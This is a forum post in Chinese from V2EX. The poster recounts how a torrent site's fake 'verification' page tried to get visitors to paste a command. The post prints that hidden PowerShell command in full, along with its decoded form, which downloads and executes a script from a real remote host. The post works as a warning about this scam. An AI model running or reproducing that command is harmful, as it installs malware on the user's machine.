想下电影, 打开了一个种子下载的网站,https://www.torrentdownload.info/。 弹窗,只能点 ok 。 跳转到另外一个页面,tab 名叫安全认证。 我还以为是常见的真人认证,结果, 页面内容是: “Verification Steps
然后我就奇怪,这不是命令行吗,怎么会认证呢。 我就打开记事本,粘贴,出来一串命令。 “powershell -w hidden "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vemlwLXN0b3JlLm9zcy1hcC1zb3V0aGVhc3QtMS5hbGl5dW5jcy5jb20vRHJtZFBuT3oudHh0JykuQ29udGVudA==')) | iex"”。
然后我把中间一串 base64 解密。 得到“iex (iwr 'https://zip-store.oss-ap-southeast-1.aliyuncs.com/DrmdPnOz.txt').Content”。
我就想看下这个 txt 是什么内容, 在 chrome 里复制了这串地址,下载直接报危险, chrome 直接屏蔽了。 这也太恶心了吧。 如果真是病毒,照着做的人连下载都不知道。
我是第一次遇到这种。 命令行和网址都发出来了,只是分享经历,不是分享病毒,不建议去下载。
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.